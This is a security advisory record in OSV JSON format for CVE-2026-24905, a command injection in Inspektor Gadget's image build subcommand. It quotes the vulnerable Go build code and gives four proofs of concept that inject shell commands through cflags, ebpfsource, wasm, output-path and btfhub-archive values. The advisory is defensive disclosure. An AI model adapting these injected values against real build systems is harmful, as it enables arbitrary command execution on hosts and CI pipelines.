CVE-2026-24905: Inspektor Gadget Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-79qw-g77v-2vfh",
  "modified" : "2026-04-30T19:21:16Z",
  "published" : "2026-04-22T17:44:22Z",
  "aliases" : [ "CVE-2026-24905" ],
  "summary" : "Inspektor Gadget: Command Injection via malicious buildOptions manipulation",
  "details" : "### Impacted Resources\n\n`inspektor-gadget/cmd/common/image/build.go`\n`inspektor-gadget/cmd/common/image/helpers/Makefile.build`\n\n### Description\n\nThe `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images.\n\nA part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`.\n\nThe following is the code responsible to construct the build command:\n```go\nfunc buildCmd(options buildOptions) []string {\n\tcmd := []string{\n\t\t\"make\", \"-f\", filepath.Join(options.outputDir, \"Makefile.build\"),\n\t\t\"-j\", fmt.Sprintf(\"%d\", runtime.NumCPU()),\n\t\t\"OUTPUTDIR=\" + options.outputDir,\n\t\t\"CFLAGS=\" + options.cFlags,\n\t\t\"FORCE_COLORS=\" + options.forceColorsFlag,\n\t}\n\n\tif options.ebpfSourcePath != \"\" {\n\t\tcmd = append(cmd, \"EBPFSOURCE=\"+options.ebpfSourcePath, \"ebpf\")\n\t}\n\tif options.wasmSourcePath != \"\" {\n\t\tcmd = append(cmd, \"WASM=\"+options.wasmSourcePath, \"wasm\")\n\t}\n\tif options.btfgen {\n\t\tcmd = append(cmd, \"BTFHUB_ARCHIVE=\"+options.btfHubArchivePath, \"btfgen\")\n\t}\n\n\treturn cmd\n}\n```\n\nThe `Makefile.build` file is the Makefile template employed during the building process.\n\nThis file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.\n\nThis implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process.\n\n\n### Impact\n\nAn attacker able to exploit this vulnerability would be able to execute arbitray command: \n- on the Linux host where the `ig` command is launched, if images are built with the `--local` flag\n- on the build container invoked by `ig`, if the `--local` flag is not provided\n\n### Attack Complexity\n\nThe `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options.\n\nTypically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.\n\n### PoC\n\n#### PoC 1  (Vector: cflags)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"program.bpf.c\"  \nmetadata: \"gadget.yaml\"  \ncflags: \" ; touch poc1.txt ; \"\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test  \ndescription: test gadget  \n```\n3. Create the file `program.bpf.c` with the following content:\n```\n#include <gadget/gadget.h>  \nchar LICENSE[] SEC(\"license\") = \"GPL\";\n```\n4. In the same directory where the files are run the command:\n```\nig image build . -t test:latest\n```\n5. Notice that the file `poc1.txt` gets created inside the directory.\n\n#### PoC2 (Vector: ebpfsource, wasm)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"$(shell touch poc2-1.txt)\"\nwasm: \"$(shell touch poc2-2.txt)\"\n```\n2. Create the file `$(shell touch poc2-1.txt)`:\n```\ntouch '$(shell touch poc2-1.txt)'\n```\n3. In the same directory where the files are run the command:\n```\nig image build .\n```\n4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory.\n\n#### PoC3 (Vector: -o, --output)\n\n1. Create the file `build.yaml` with the following content:\n```\nwasm: dummy.go\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test\n```\n3. Create the directory `$(shell touch poc3.txt)`:\n```\ntouch '$(shell touch poc3.txt)'\n```\n4. Retrieve the full path of the created directory:\n```\nreadlink -f '$(shell touch poc3.txt)'\n```\n5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4:\n```\nig image build . --local -o '<PATH>'\n```\n6. Notice that the file `poc3.txt` gets created inside the directory.\n\n#### PoC4 (Vector: --btfhub-archive)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: test.c\n```\n2. Create the file `test.c`:\n```\ntouch test.c\n```\n3. In the same directory where the files are run the command\n```\nsudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'\n```\n4. Notice that the file `poc4.txt` gets created inside the directory.\n\n### Suggested Remediation\n\nSanitize build options by providing a robust whitelist to filter on.\nAlternatively, revisit the design of image building to prevent shell substitution.\n\n### References\n\n- https://cwe.mitre.org/data/definitions/77.html\n- https://cwe.mitre.org/data/definitions/78.html",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/inspektor-gadget/inspektor-gadget"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.51.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-79qw-g77v-2vfh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24905"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/commit/7c83ad84ff7a68565655253e2cf1c5d2da695c1a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/commit/d9bf2fe4a180dad33ce57ca793ff4799ee7b8320"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77", "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:44:22Z",
    "nvd_published_at" : "2026-01-29T22:15:55Z"
  }
}